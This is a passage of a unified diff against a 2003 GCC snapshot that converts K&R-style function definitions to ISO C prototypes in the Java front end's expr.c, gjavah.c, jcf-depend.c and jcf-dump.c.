{ tree obj; @@ -365,8 +353,7 @@ build_exception_object_ref (type) /* If there are any handlers for this range, isssue end of range, and then all handler blocks */ static void -expand_end_java_handler (range) - struct eh_range *range; +expand_end_java_handler (struct eh_range *range) { tree handler = range->handlers; force_poplevels (range->start_pc); @@ -398,9 +385,7 @@ expand_end_java_handler (range) /* Recursive helper routine for maybe_start_handlers. */ static void -check_start_handlers (range, pc) - struct eh_range *range; - int pc; +check_start_handlers (struct eh_range *range, int pc) { if (range != NULL_EH_RANGE && range->start_pc == pc) { @@ -417,9 +402,7 @@ static struct eh_range *current_range; end_pc. */ void -maybe_start_try (start_pc, end_pc) - int start_pc; - int end_pc; +maybe_start_try (int start_pc, int end_pc) { struct eh_range *range; if (! doing_eh (1)) @@ -438,9 +421,7 @@ maybe_start_try (start_pc, end_pc) start_pc. */ void -maybe_end_try (start_pc, end_pc) - int start_pc; - int end_pc; +maybe_end_try (int start_pc, int end_pc) { if (! doing_eh (1)) return; diff -rup orig/egcc-CVS20030110/gcc/java/expr.c egcc-CVS20030110/gcc/java/expr.c --- orig/egcc-CVS20030110/gcc/java/expr.c 2003-01-09 18:13:19.000000000 -0500 +++ egcc-CVS20030110/gcc/java/expr.c 2003-01-10 23:40:42.865643001 -0500 @@ -137,7 +137,7 @@ const unsigned char *linenumber_table; int linenumber_count; void -init_expr_processing() +init_expr_processing (void) { operand_type[21] = operand_type[54] = int_type_node; operand_type[22] = operand_type[55] = long_type_node; @@ -147,8 +147,7 @@ init_expr_processing() } tree -java_truthvalue_conversion (expr) - tree expr; +java_truthvalue_conversion (tree expr) { /* It is simpler and generates better code to have only TRUTH_*_EXPR or comparison expressions as truth values at this level. @@ -206,7 +205,7 @@ java_truthvalue_conversion (expr) higher (or the same) index, but not lower. */ static void -flush_quick_stack () +flush_quick_stack (void) { int stack_index = stack_pointer; register tree prev, cur, next; @@ -242,8 +241,7 @@ flush_quick_stack () Return true on success, 0 on overflow. */ int -push_type_0 (type) - tree type; +push_type_0 (tree type) { int n_words; type = promote_type (type); @@ -258,16 +256,14 @@ push_type_0 (type) } void -push_type (type) - tree type; +push_type (tree type) { if (! push_type_0 (type)) abort (); } static void -push_value (value) - tree value; +push_value (tree value) { tree type = TREE_TYPE (value); if (TYPE_PRECISION (type) < 32 && INTEGRAL_TYPE_P (type)) @@ -294,9 +290,7 @@ push_value (value) On an error, *MESSAGEP is set to a freshly malloc'd error message. */ tree -pop_type_0 (type, messagep) - tree type; - char **messagep; +pop_type_0 (tree type, char **messagep) { int n_words; tree t; @@ -355,8 +349,7 @@ pop_type_0 (type, messagep) convertible to TYPE, otherwise call error. */ tree -pop_type (type) - tree type; +pop_type (tree type) { char *message = NULL; type = pop_type_0 (type, &message); @@ -372,8 +365,7 @@ pop_type (type) Handles array types and interfaces. */ int -can_widen_reference_to (source_type, target_type) - tree source_type, target_type; +can_widen_reference_to (tree source_type, tree target_type) { if (source_type == ptr_type_node || target_type == object_ptr_type_node) return 1; @@ -449,8 +441,7 @@ can_widen_reference_to (source_type, tar } static tree -pop_value (type) - tree type; +pop_value (tree type) { type = pop_type (type); if (quick_stack) @@ -470,8 +461,7 @@ pop_value (type) /* Pop and discrad the top COUNT stack slots. */ static void -java_stack_pop (count) - int count; +java_stack_pop (int count) { while (count > 0) { @@ -497,7 +487,7 @@ java_stack_pop (count) /* Implement the 'swap' operator (to swap two top stack slots). */ static void -java_stack_swap () +java_stack_swap (void) { tree type1, type2; rtx temp; @@ -522,8 +512,7 @@ java_stack_swap () } static void -java_stack_dup (size, offset) - int size, offset; +java_stack_dup (int size, int offset) { int low_index = stack_pointer - size - offset; int dst_index; @@ -571,8 +560,7 @@ java_stack_dup (size, offset) value stack. */ static void -build_java_athrow (node) - tree node; +build_java_athrow (tree node) { tree call; @@ -589,8 +577,7 @@ build_java_athrow (node) /* Implementation for jsr/ret */ static void -build_java_jsr (target_pc, return_pc) - int target_pc, return_pc; +build_java_jsr (int target_pc, int return_pc) { tree where = lookup_label (target_pc); tree ret = lookup_label (return_pc); @@ -604,8 +591,7 @@ build_java_jsr (target_pc, return_pc) } static void -build_java_ret (location) - tree location; +build_java_ret (tree location) { expand_computed_goto (location); } @@ -613,8 +599,7 @@ build_java_ret (location) /* Implementation of operations on array: new, load, store, length */ tree -decode_newarray_type (atype) - int atype; +decode_newarray_type (int atype) { switch (atype) { @@ -633,8 +618,7 @@ decode_newarray_type (atype) /* Map primitive type to the code used by OPCODE_newarray. */ int -encode_newarray_type (type) - tree type; +encode_newarray_type (tree type) { if (type == boolean_type_node) return 4; @@ -660,8 +644,7 @@ encode_newarray_type (type) ArrayIndexOfBoundsException exception handler. */ static tree -build_java_throw_out_of_bounds_exception (index) - tree index; +build_java_throw_out_of_bounds_exception (tree index) { tree node = build (CALL_EXPR, int_type_node, build_address_of (soft_badarrayindex_node), @@ -674,8 +657,7 @@ build_java_throw_out_of_bounds_exception or value of the array NODE. May be used to implement some bytecodes. */ tree -build_java_array_length_access (node) - tree node; +build_java_array_length_access (tree node) { tree type = TREE_TYPE (node); tree array_type = TREE_TYPE (type); @@ -710,9 +692,7 @@ build_java_array_length_access (node) checks if we're not generating code. */ tree -java_check_reference (expr, check) - tree expr; - int check; +java_check_reference (tree expr, int check) { if (!flag_syntax_only && check) { @@ -733,10 +713,7 @@ java_check_reference (expr, check) /* Reference an object: just like an INDIRECT_REF, but with checking. */ tree -build_java_indirect_ref (type, expr, check) - tree type; - tree expr; - int check; +build_java_indirect_ref (tree type, tree expr, int check) { return build1 (INDIRECT_REF, type, java_check_reference (expr, check)); } @@ -747,8 +724,7 @@ build_java_indirect_ref (type, expr, che At this point, ARRAY should have been verified as an array. */ tree -build_java_arrayaccess (array, type, index) - tree array, type, index; +build_java_arrayaccess (tree array, tree type, tree index) { tree node, throw = NULL_TREE; tree data_field; @@ -798,9 +774,7 @@ build_java_arrayaccess (array, type, ind determine that no check is required. */ tree -build_java_arraystore_check (array, object) - tree array; - tree object; +build_java_arraystore_check (tree array, tree object) { tree check, element_type, source; tree array_type_p = TREE_TYPE (array); @@ -871,9 +845,7 @@ build_java_arraystore_check (array, obje As a side effect, it also makes sure that ARRAY_NODE is an array. */ static tree -build_java_check_indexed_type (array_node, indexed_type) - tree array_node; - tree indexed_type; +build_java_check_indexed_type (tree array_node, tree indexed_type) { tree elt_type; @@ -900,9 +872,7 @@ build_java_check_indexed_type (array_nod of the array to create. */ tree -build_newarray (atype_value, length) - int atype_value; - tree length; +build_newarray (int atype_value, tree length) { tree type_arg; @@ -932,9 +902,7 @@ build_newarray (atype_value, length) of the dimension. */ tree -build_anewarray (class_type, length) - tree class_type; - tree length; +build_anewarray (tree class_type, tree length) { tree type = build_java_array_type (class_type, @@ -953,9 +921,7 @@ build_anewarray (class_type, length) /* Return a node the evaluates 'new TYPE[LENGTH]'. */ tree -build_new_array (type, length) - tree type; - tree length; +build_new_array (tree type, tree length) { if (JPRIMITIVE_TYPE_P (type)) return build_newarray (encode_newarray_type (type), length); @@ -968,9 +934,7 @@ build_new_array (type, length) dimensions. The argument list is NULL terminated. */ static void -expand_java_multianewarray (class_type, ndim) - tree class_type; - int ndim; +expand_java_multianewarray (tree class_type, int ndim) { int i; tree args = build_tree_list( NULL_TREE, null_pointer_node ); @@ -998,8 +962,7 @@ expand_java_multianewarray (class_type, type. It is not necessary to generate this code if ARRAY is final. */ static void -expand_java_arraystore (rhs_type_node) - tree rhs_type_node; +expand_java_arraystore (tree rhs_type_node) { tree rhs_node = pop_value ((INTEGRAL_TYPE_P (rhs_type_node) && TYPE_PRECISION (rhs_type_node) <= 32) ? @@ -1034,8 +997,7 @@ expand_java_arraystore (rhs_type_node) */ static void -expand_java_arrayload (lhs_type_node ) - tree lhs_type_node; +expand_java_arrayload (tree lhs_type_node ) { tree load_node; tree index_node = pop_value (int_type_node); @@ -1067,7 +1029,7 @@ expand_java_arrayload (lhs_type_node ) a NULL check on the array object. */ static void -expand_java_array_length () +expand_java_array_length (void) { tree array = pop_value (ptr_type_node); tree length = build_java_array_length_access (array); @@ -1079,9 +1041,7 @@ expand_java_array_length () either soft_monitorenter_node or soft_monitorexit_node. */ static tree -build_java_monitor (call, object) - tree call; - tree object; +build_java_monitor (tree call, tree object) { return (build (CALL_EXPR, void_type_node, @@ -1093,9 +1053,7 @@ build_java_monitor (call, object) /* Emit code for one of the PUSHC instructions. */ static void -expand_java_pushc (ival, type) - int ival; - tree type; +expand_java_pushc (int ival, tree type) { tree value; if (type == ptr_type_node && ival == 0) @@ -1118,8 +1076,7 @@ expand_java_pushc (ival, type) } static void -expand_java_return (type) - tree type; +expand_java_return (tree type) { if (type == void_type_node) expand_null_return (); @@ -1144,10 +1101,7 @@ expand_java_return (type) } static void -expand_load_internal (index, type, pc) - int index; - tree type; - int pc; +expand_load_internal (int index, tree type, int pc) { tree copy; tree var = find_local_variable (index, type, pc); @@ -1170,14 +1124,12 @@ expand_load_internal (index, type, pc) } tree -build_address_of (value) - tree value; +build_address_of (tree value) { return build1 (ADDR_EXPR, build_pointer_type (TREE_TYPE (value)), value); } -bool class_has_finalize_method (type) - tree type; +bool class_has_finalize_method (tree type) { tree super = CLASSTYPE_SUPER (type); @@ -1189,8 +1141,7 @@ bool class_has_finalize_method (type) } static void -expand_java_NEW (type) - tree type; +expand_java_NEW (tree type) { tree alloc_node; @@ -1211,8 +1162,7 @@ expand_java_NEW (type) object. */ tree -build_get_class (value) - tree value; +build_get_class (tree value) { tree class_field = lookup_field (&dtable_type, get_identifier ("class")); tree vtable_field = lookup_field (&object_type_node, @@ -1231,8 +1181,7 @@ build_get_class (value) known. */ tree -build_instanceof (value, type) - tree value, type; +build_instanceof (tree value, tree type) { tree expr; tree itype = TREE_TYPE (TREE_TYPE (soft_instanceof_node)); @@ -1295,8 +1244,7 @@ build_instanceof (value, type) } static void -expand_java_INSTANCEOF (type) - tree type; +expand_java_INSTANCEOF (tree type) { tree value = pop_value (object_ptr_type_node); value = build_instanceof (value, type); @@ -1304,8 +1252,7 @@ expand_java_INSTANCEOF (type) } static void -expand_java_CHECKCAST (type) - tree type; +expand_java_CHECKCAST (tree type) { tree value = pop_value (ptr_type_node); value = build (CALL_EXPR, promote_type (type), @@ -1317,10 +1264,7 @@ expand_java_CHECKCAST (type) } static void -expand_iinc (local_var_index, ival, pc) - unsigned int local_var_index; - int ival; - int pc; +expand_iinc (unsigned int local_var_index, int ival, int pc) { tree local_var, res; tree constant_value; @@ -1334,9 +1278,7 @@ expand_iinc (local_var_index, ival, pc) tree -build_java_soft_divmod (op, type, op1, op2) - enum tree_code op; - tree type, op1, op2; +build_java_soft_divmod (enum tree_code op, tree type, tree op1, tree op2) { tree call = NULL; tree arg1 = convert (type, op1); @@ -1384,9 +1326,7 @@ build_java_soft_divmod (op, type, op1, o } tree -build_java_binop (op, type, arg1, arg2) - enum tree_code op; - tree type, arg1, arg2; +build_java_binop (enum tree_code op, tree type, tree arg1, tree arg2) { tree mask; switch (op) @@ -1465,8 +1405,7 @@ build_java_binop (op, type, arg1, arg2) } static void -expand_java_binop (type, op) - tree type; enum tree_code op; +expand_java_binop (tree type, enum tree_code op) { tree larg, rarg; tree ltype = type; @@ -1494,9 +1433,7 @@ expand_java_binop (type, op) class containing the field. */ tree -lookup_field (typep, name) - tree *typep; - tree name; +lookup_field (tree *typep, tree name) { if (CLASS_P (*typep) && !CLASS_LOADED_P (*typep)) { @@ -1554,8 +1491,7 @@ lookup_field (typep, name) SELF_VALUE is NULL_TREE if looking for a static field. */ tree -build_field_ref (self_value, self_class, name) - tree self_value, self_class, name; +build_field_ref (tree self_value, tree self_class, tree name) { tree base_class = self_class; tree field_decl = lookup_field (&base_class, name); @@ -1585,8 +1521,7 @@ build_field_ref (self_value, self_class, } tree -lookup_label (pc) - int pc; +lookup_label (int pc) { tree name; char buf[32]; @@ -1608,7 +1543,7 @@ lookup_label (pc) labels, and try-catch-finally blocks label or temporary variables. */ tree -generate_name () +generate_name (void) { static int l_number = 0; char buff [32]; @@ -1618,8 +1553,7 @@ generate_name () } tree -create_label_decl (name) - tree name; +create_label_decl (tree name) { tree decl; decl = build_decl (LABEL_DECL, name, @@ -1633,8 +1567,7 @@ create_label_decl (name) char *instruction_bits; static void -note_label (current_pc, target_pc) - int current_pc ATTRIBUTE_UNUSED, target_pc; +note_label (int current_pc ATTRIBUTE_UNUSED, int target_pc) { lookup_label (target_pc); instruction_bits [target_pc] |= BCODE_JUMP_TARGET; @@ -1644,10 +1577,8 @@ note_label (current_pc, target_pc) where CONDITION is one of one the compare operators. */ static void -expand_compare (condition, value1, value2, target_pc) - enum tree_code condition; - tree value1, value2; - int target_pc; +expand_compare (enum tree_code condition, tree value1, tree value2, + int target_pc) { tree target = lookup_label (target_pc); tree cond = fold (build (condition, boolean_type_node, value1, value2)); @@ -1659,10 +1590,7 @@ expand_compare (condition, value1, value /* Emit code for a TEST-type opcode. */ static void -expand_test (condition, type, target_pc) - enum tree_code condition; - tree type; - int target_pc; +expand_test (enum tree_code condition, tree type, int target_pc) { tree value1, value2; flush_quick_stack (); @@ -1674,10 +1602,7 @@ expand_test (condition, type, target_pc) /* Emit code for a COND-type opcode. */ static void -expand_cond (condition, type, target_pc) - enum tree_code condition; - tree type; - int target_pc; +expand_cond (enum tree_code condition, tree type, int target_pc) { tree value1, value2; flush_quick_stack (); @@ -1689,8 +1614,7 @@ expand_cond (condition, type, target_pc) } static void -expand_java_goto (target_pc) - int target_pc; +expand_java_goto (int target_pc) { tree target_label = lookup_label (target_pc); flush_quick_stack (); @@ -1699,7 +1623,7 @@ expand_java_goto (target_pc) #if 0 static void -expand_java_call (target_pc, return_address) +expand_java_call (int target_pc, int return_address) int target_pc, return_address; { tree target_label = lookup_label (target_pc); @@ -1710,8 +1634,7 @@ expand_java_call (target_pc, return_addr } static void -expand_java_ret (return_address) - tree return_address ATTRIBUTE_UNUSED; +expand_java_ret (tree return_address ATTRIBUTE_UNUSED) { warning ("ret instruction not implemented"); #if 0 @@ -1723,8 +1646,7 @@ expand_java_ret (return_address) #endif static tree -pop_arguments (arg_types) - tree arg_types; +pop_arguments (tree arg_types) { if (arg_types == end_params_node) return NULL_TREE; @@ -1747,8 +1669,7 @@ pop_arguments (arg_types) (if it is needed) and then calls EXPR. */ tree -build_class_init (clas, expr) - tree clas, expr; +build_class_init (tree clas, tree expr) { tree init; if (inherits_from_p (current_class, clas)) @@ -1810,10 +1731,9 @@ build_class_init (clas, expr) } tree -build_known_method_ref (method, method_type, self_type, - method_signature, arg_list) - tree method, method_type ATTRIBUTE_UNUSED, self_type, - method_signature ATTRIBUTE_UNUSED, arg_list ATTRIBUTE_UNUSED; +build_known_method_ref (tree method, tree method_type ATTRIBUTE_UNUSED, + tree self_type, tree method_signature ATTRIBUTE_UNUSED, + tree arg_list ATTRIBUTE_UNUSED) { tree func; if (is_compiled_class (self_type)) @@ -1864,9 +1784,7 @@ build_known_method_ref (method, method_t } tree -invoke_build_dtable (is_invoke_interface, arg_list) - int is_invoke_interface; - tree arg_list; +invoke_build_dtable (int is_invoke_interface, tree arg_list) { tree dtable, objectref; @@ -1894,8 +1812,7 @@ invoke_build_dtable (is_invoke_interface otable_methods. If it has, the existing otable slot will be reused. */ int -get_offset_table_index (method) - tree method; +get_offset_table_index (tree method) { int i = 1; tree method_list; @@ -1924,8 +1841,7 @@ get_offset_table_index (method) } tree -build_invokevirtual (dtable, method) - tree dtable, method; +build_invokevirtual (tree dtable, tree method) { tree func; tree nativecode_ptr_ptr_type_node @@ -1971,8 +1887,7 @@ build_invokevirtual (dtable, method) static GTY(()) tree class_ident; tree -build_invokeinterface (dtable, method) - tree dtable, method; +build_invokeinterface (tree dtable, tree method) { tree lookup_arg; tree interface; @@ -2032,10 +1947,7 @@ build_invokeinterface (dtable, method) NARGS is the number of arguments, or -1 if not specified. */ static void -expand_invoke (opcode, method_ref_index, nargs) - int opcode; - int method_ref_index; - int nargs ATTRIBUTE_UNUSED; +expand_invoke (int opcode, int method_ref_index, int nargs ATTRIBUTE_UNUSED) { tree method_signature = COMPONENT_REF_SIGNATURE(¤t_jcf->cpool, method_ref_index); tree method_name = COMPONENT_REF_NAME (¤t_jcf->cpool, method_ref_index); @@ -2163,8 +2075,7 @@ expand_invoke (opcode, method_ref_index, a JNI function. */ tree -build_jni_stub (method) - tree method; +build_jni_stub (tree method) { tree jnifunc, call, args, body, lookup_arg, method_sig, arg_types; tree jni_func_type, tem; @@ -2345,10 +2256,7 @@ build_jni_stub (method) FIELD_REF_INDEX is an index into the constant pool. */ static void -expand_java_field_op (is_static, is_putting, field_ref_index) - int is_static; - int is_putting; - int field_ref_index; +expand_java_field_op (int is_static, int is_putting, int field_ref_index) { tree self_type = get_class_constant (current_jcf, @@ -2420,8 +2328,7 @@ expand_java_field_op (is_static, is_putt } void -load_type_state (label) - tree label; +load_type_state (tree label) { int i; tree vec = LABEL_TYPE_STATE (label); @@ -2436,9 +2343,7 @@ load_type_state (label) placed here because it uses things defined locally in parse.y. */ static tree -case_identity (t, v) - tree t __attribute__ ((__unused__)); - tree v; +case_identity (tree t __attribute__ ((__unused__)), tree v) { return v; } @@ -2471,11 +2376,8 @@ get_primitive_array_vtable (tree elt) } struct rtx_def * -java_expand_expr (exp, target, tmode, modifier) - register tree exp; - rtx target; - enum machine_mode tmode; - int modifier; /* Actually an enum expand_modifier. */ +java_expand_expr (tree exp, rtx target, enum machine_mode tmode, + int modifier /* Actually an enum expand_modifier. */) { tree current; @@ -2665,9 +2567,7 @@ java_expand_expr (exp, target, tmode, mo instruction_bits[]. */ void -note_instructions (jcf, method) - JCF *jcf; - tree method; +note_instructions (JCF *jcf, tree method) { int PC; unsigned char* byte_ops; @@ -2810,9 +2710,7 @@ note_instructions (jcf, method) } void -expand_byte_code (jcf, method) - JCF *jcf; - tree method; +expand_byte_code (JCF *jcf, tree method) { int PC; int i; @@ -2921,9 +2819,7 @@ expand_byte_code (jcf, method) } static void -java_push_constant_from_pool (jcf, index) - JCF *jcf; - int index; +java_push_constant_from_pool (JCF *jcf, int index) { tree c; if (JPOOL_TAG (jcf, index) == CONSTANT_String) @@ -2940,10 +2836,8 @@ java_push_constant_from_pool (jcf, index } int -process_jvm_instruction (PC, byte_ops, length) - int PC; - const unsigned char* byte_ops; - long length ATTRIBUTE_UNUSED; +process_jvm_instruction (int PC, const unsigned char* byte_ops, + long length ATTRIBUTE_UNUSED) { const char *opname; /* Temporary ??? */ int oldpc = PC; /* PC at instruction start. */ @@ -3255,9 +3149,7 @@ process_jvm_instruction (PC, byte_ops, l CODE_OFFSET. */ static unsigned char -peek_opcode_at_pc (jcf, code_offset, pc) - JCF *jcf; - int code_offset, pc; +peek_opcode_at_pc (JCF *jcf, int code_offset, int pc) { unsigned char opcode; long absolute_offset = (long)JCF_TELL (jcf); @@ -3293,9 +3185,8 @@ peek_opcode_at_pc (jcf, code_offset, pc) have allocated and filled properly. */ int -maybe_adjust_start_pc (jcf, code_offset, start_pc, slot) - struct JCF *jcf; - int code_offset, start_pc, slot; +maybe_adjust_start_pc (struct JCF *jcf, int code_offset, + int start_pc, int slot) { int first, index, opcode; int pc, insn_pc; @@ -3398,8 +3289,7 @@ maybe_adjust_start_pc (jcf, code_offset, */ tree -force_evaluation_order (node) - tree node; +force_evaluation_order (tree node) { if (flag_syntax_only) return node; @@ -3458,9 +3348,7 @@ force_evaluation_order (node) method in order to emit initialization code for each test flag. */ static int -emit_init_test_initialization (entry, x) - void * * entry; - void * x ATTRIBUTE_UNUSED; +emit_init_test_initialization (void **entry, void *x ATTRIBUTE_UNUSED) { struct treetreehash_entry *ite = (struct treetreehash_entry *) *entry; tree klass = build_class_ref (ite->key); diff -rup orig/egcc-CVS20030110/gcc/java/gjavah.c egcc-CVS20030110/gcc/java/gjavah.c --- orig/egcc-CVS20030110/gcc/java/gjavah.c 2003-01-09 22:02:26.000000000 -0500 +++ egcc-CVS20030110/gcc/java/gjavah.c 2003-01-10 23:40:42.875642547 -0500 @@ -254,8 +254,7 @@ static int decompiled = 0; /* Return 1 if F is not Inf or NaN. */ static int -java_float_finite (f) - jfloat f; +java_float_finite (jfloat f) { union Word u; u.f = f; @@ -268,8 +267,7 @@ java_float_finite (f) /* Return 1 if D is not Inf or NaN. */ static int -java_double_finite (d) - jdouble d; +java_double_finite (jdouble d) { union DWord u; u.d = d; @@ -281,9 +279,7 @@ java_double_finite (d) /* Print a character, appropriately mangled for JNI. */ static void -jni_print_char (stream, ch) - FILE *stream; - int ch; +jni_print_char (FILE *stream, int ch) { if (! flag_jni) jcf_print_char (stream, ch); @@ -345,10 +341,7 @@ print_name (FILE* stream, JCF* jcf, int final separator. */ static void -print_base_classname (stream, jcf, index) - FILE *stream; - JCF *jcf; - int index; +print_base_classname (FILE *stream, JCF *jcf, int index) { int name_index = JPOOL_USHORT1 (jcf, index); int len; @@ -379,10 +372,7 @@ print_base_classname (stream, jcf, index and 1 if STR is "greater" than NAME. */ static int -utf8_cmp (str, length, name) - const unsigned char *str; - int length; - const char *name; +utf8_cmp (const unsigned char *str, int length, const char *name) { const unsigned char *limit = str + length; int i; @@ -513,9 +503,7 @@ static const char *const cxx_keywords[] Otherwise, return NULL. The return value is malloc()d. */ static char * -cxx_keyword_subst (str, length) - const unsigned char *str; - int length; +cxx_keyword_subst (const unsigned char *str, int length) { int last = ARRAY_SIZE (cxx_keywords); int first = 0; @@ -562,9 +550,7 @@ cxx_keyword_subst (str, length) /* Generate an access control keyword based on FLAGS. */ static void -generate_access (stream, flags) - FILE *stream; - JCF_u2 flags; +generate_access (FILE *stream, JCF_u2 flags) { if ((flags & ACC_VISIBILITY) == last_access) return; @@ -594,9 +580,7 @@ generate_access (stream, flags) /* See if NAME is already the name of a method. */ static int -name_is_method_p (name, length) - const unsigned char *name; - int length; +name_is_method_p (const unsigned char *name, int length) { struct method_name *p; @@ -611,11 +595,8 @@ name_is_method_p (name, length) /* If there is already a method named NAME, whose signature is not SIGNATURE, then return true. Otherwise return false. */ static int -overloaded_jni_method_exists_p (name, length, signature, sig_length) - const unsigned char *name; - int length; - const char *signature; - int sig_length; +overloaded_jni_method_exists_p (const unsigned char *name, int length, + const char *signature, int sig_length) { struct method_name *p; @@ -632,10 +613,7 @@ overloaded_jni_method_exists_p (name, le /* Get name of a field. This handles renamings due to C++ clash. */ static char * -get_field_name (jcf, name_index, flags) - JCF *jcf; - int name_index; - JCF_u2 flags; +get_field_name (JCF *jcf, int name_index, JCF_u2 flags) { unsigned char *name = JPOOL_UTF_DATA (jcf, name_index); int length = JPOOL_UTF_LENGTH (jcf, name_index); @@ -667,11 +645,7 @@ get_field_name (jcf, name_index, flags) /* Print a field name. Convenience function for use with get_field_name. */ static void -print_field_name (stream, jcf, name_index, flags) - FILE *stream; - JCF *jcf; - int name_index; - JCF_u2 flags; +print_field_name (FILE *stream, JCF *jcf, int name_index, JCF_u2 flags) { char *override = get_field_name (jcf, name_index, flags); @@ -905,10 +879,8 @@ print_method_info (FILE *stream, JCF* jc signature. NAMEINDEX is the index of the field name; -1 for `this'. OBJECTTYPE is the index of the object's type. */ static void -decompile_return_statement (out, jcf, methodtype, nameindex, objecttype) - FILE *out; - JCF *jcf; - int methodtype, nameindex, objecttype; +decompile_return_statement (FILE *out, JCF *jcf, int methodtype, + int nameindex, int objecttype) { int cast = 0; int obj_name_len, method_name_len; @@ -1027,10 +999,7 @@ decompile_return_statement (out, jcf, me /* Try to decompile a method body. Right now we just try to handle a simple case that we can do. Expand as desired. */ static void -decompile_method (out, jcf, code_len) - FILE *out; - JCF *jcf; - int code_len; +decompile_method (FILE *out, JCF *jcf, int code_len) { const unsigned char *codes = jcf->read_ptr; int index; @@ -1099,8 +1068,7 @@ decompile_method (out, jcf, code_len) should probably be in hashtab.c to complement the existing string hash function. */ static int -gcjh_streq (p1, p2) - const void *p1, *p2; +gcjh_streq (const void *p1, const void *p2) { return ! strcmp ((char *) p1, (char *) p2); } @@ -1109,8 +1077,7 @@ gcjh_streq (p1, p2) or 0 if not. CLNAME may be extracted from a signature, and can be terminated with either `;' or NULL. */ static int -throwable_p (clname) - const unsigned char *clname; +throwable_p (const unsigned char *clname) { int length; unsigned char *current; @@ -1209,10 +1176,8 @@ throwable_p (clname) /* Print one piece of a signature. Returns pointer to next parseable character on success, NULL on error. */ static const unsigned char * -decode_signature_piece (stream, signature, limit, need_space) - FILE *stream; - const unsigned char *signature, *limit; - int *need_space; +decode_signature_piece (FILE *stream, const unsigned char *signature, + const unsigned char *limit, int *need_space) { const char *ctype; int array_depth = 0; @@ -1630,12 +1595,8 @@ print_mangled_classname (FILE *stream, J to an array, ignore it and don't print PREFIX. Returns 1 if something was printed, 0 otherwise. */ static int -print_cxx_classname (stream, prefix, jcf, index, add_scope) - FILE *stream; - const char *prefix; - JCF *jcf; - int index; - int add_scope; +print_cxx_classname (FILE *stream, const char *prefix, + JCF *jcf, int index, int add_scope) { int name_index = JPOOL_USHORT1 (jcf, index); int len, c; @@ -1674,9 +1635,7 @@ int written_class_count = 0; /* Return name of superclass. If LEN is not NULL, fill it with length of name. */ static const unsigned char * -super_class_name (derived_jcf, len) - JCF *derived_jcf; - int *len; +super_class_name (JCF *derived_jcf, int *len) { int supername_index = JPOOL_USHORT1 (derived_jcf, derived_jcf->super_class); int supername_length = JPOOL_UTF_LENGTH (derived_jcf, supername_index); @@ -1704,10 +1663,7 @@ static struct include *all_includes = NU /* Generate a #include. */ static void -print_include (out, utf8, len) - FILE *out; - const unsigned char *utf8; - int len; +print_include (FILE *out, const unsigned char *utf8, int len) { struct include *incl; @@ -1771,9 +1727,8 @@ static struct namelet root = package or class name and links it into the tree. It does this recursively. */ static void -add_namelet (name, name_limit, parent) - const unsigned char *name, *name_limit; - struct namelet *parent; +add_namelet (const unsigned char *name, const unsigned char *name_limit, + struct namelet *parent) { const unsigned char *p; struct namelet *n = NULL, *np; @@ -1830,10 +1785,7 @@ add_namelet (name, name_limit, parent) /* Print a single namelet. Destroys namelets while printing. */ static void -print_namelet (out, name, depth) - FILE *out; - struct namelet *name; - int depth; +print_namelet (FILE *out, struct namelet *name, int depth) { int i, term = 0; struct namelet *c; @@ -1886,10 +1838,7 @@ print_namelet (out, name, depth) we need decls. The signature argument can be a function signature. */ static void -add_class_decl (out, jcf, signature) - FILE *out; - JCF *jcf; - JCF_u2 signature; +add_class_decl (FILE *out, JCF *jcf, JCF_u2 signature) { const unsigned char *s = JPOOL_UTF_DATA (jcf, signature); int len = JPOOL_UTF_LENGTH (jcf, signature); @@ -1923,10 +1872,7 @@ add_class_decl (out, jcf, signature) statically in libjava; we don't generate declarations for these. This makes the generated headers a bit easier to read. */ static void -print_class_decls (out, jcf, self) - FILE *out; - JCF *jcf; - int self; +print_class_decls (FILE *out, JCF *jcf, int self) { /* Make sure to always add the current class to the list of things that should be declared. */ @@ -2244,14 +2190,14 @@ static const struct option options[] = }; static void -usage () +usage (void) { fprintf (stderr, "Try `gcjh --help' for more information.\n"); exit (1); } static void -help () +help (void) { printf ("Usage: gcjh [OPTION]... CLASS...\n\n"); printf ("Generate C++ header files from .class files\n\n"); @@ -2289,7 +2235,7 @@ help () } static void -version () +version (void) { printf ("gcjh (GCC) %s\n\n", version_string); printf ("Copyright (C) 2002 Free Software Foundation, Inc.\n"); diff -rup orig/egcc-CVS20030110/gcc/java/jcf-depend.c egcc-CVS20030110/gcc/java/jcf-depend.c --- orig/egcc-CVS20030110/gcc/java/jcf-depend.c 2003-01-01 16:00:35.000000000 -0500 +++ egcc-CVS20030110/gcc/java/jcf-depend.c 2003-01-10 23:40:42.875642547 -0500 @@ -56,7 +56,7 @@ static int print_dummies; invocation. FIXME: we should change our API or just completely use the one in mkdeps.h. */ void -jcf_dependency_reset () +jcf_dependency_reset (void) { if (dep_out != NULL) { @@ -73,8 +73,7 @@ jcf_dependency_reset () } void -jcf_dependency_set_target (name) - const char *name; +jcf_dependency_set_target (const char *name) { /* We just handle this the same as an `add_target'. */ if (dependencies != NULL && name != NULL) @@ -82,16 +81,14 @@ jcf_dependency_set_target (name) } void -jcf_dependency_add_target (name) - const char *name; +jcf_dependency_add_target (const char *name) { if (dependencies != NULL) deps_add_target (dependencies, name, 1); } void -jcf_dependency_set_dep_file (name) - const char *name; +jcf_dependency_set_dep_file (const char *name) { assert (dep_out != stdout); if (dep_out) @@ -103,9 +100,7 @@ jcf_dependency_set_dep_file (name) } void -jcf_dependency_add_file (filename, system_p) - const char *filename; - int system_p; +jcf_dependency_add_file (const char *filename, int system_p) { if (! dependencies) return; @@ -118,8 +113,7 @@ jcf_dependency_add_file (filename, syste } void -jcf_dependency_init (system_p) - int system_p; +jcf_dependency_init (int system_p) { assert (! dependencies); system_files = system_p; @@ -127,13 +121,13 @@ jcf_dependency_init (system_p) } void -jcf_dependency_print_dummies () +jcf_dependency_print_dummies (void) { print_dummies = 1; } void -jcf_dependency_write () +jcf_dependency_write (void) { if (! dep_out) return; diff -rup orig/egcc-CVS20030110/gcc/java/jcf-dump.c egcc-CVS20030110/gcc/java/jcf-dump.c --- orig/egcc-CVS20030110/gcc/java/jcf-dump.c 2003-01-09 21:35:26.000000000 -0500 +++ egcc-CVS20030110/gcc/java/jcf-dump.c 2003-01-10 23:40:42.885642824 -0500 @@ -800,14 +800,14 @@ static const struct option options[] = }; static void -usage () +usage (void) { fprintf (stderr, "Try `jcf-dump --help' for more information.\n"); exit (1); } static void -help () +help (void) { printf ("Usage: jcf-dump [OPTION]... CLASS...\n\n"); printf ("Display contents of a class file in readable form.\n\n"); @@ -830,7 +830,7 @@ help () } static void -version () +version (void) { printf ("jcf-dump (GCC) %s\n\n", version_string); printf ("Copyright (C) 2002 Free Software Foundation, Inc.\n"); diff 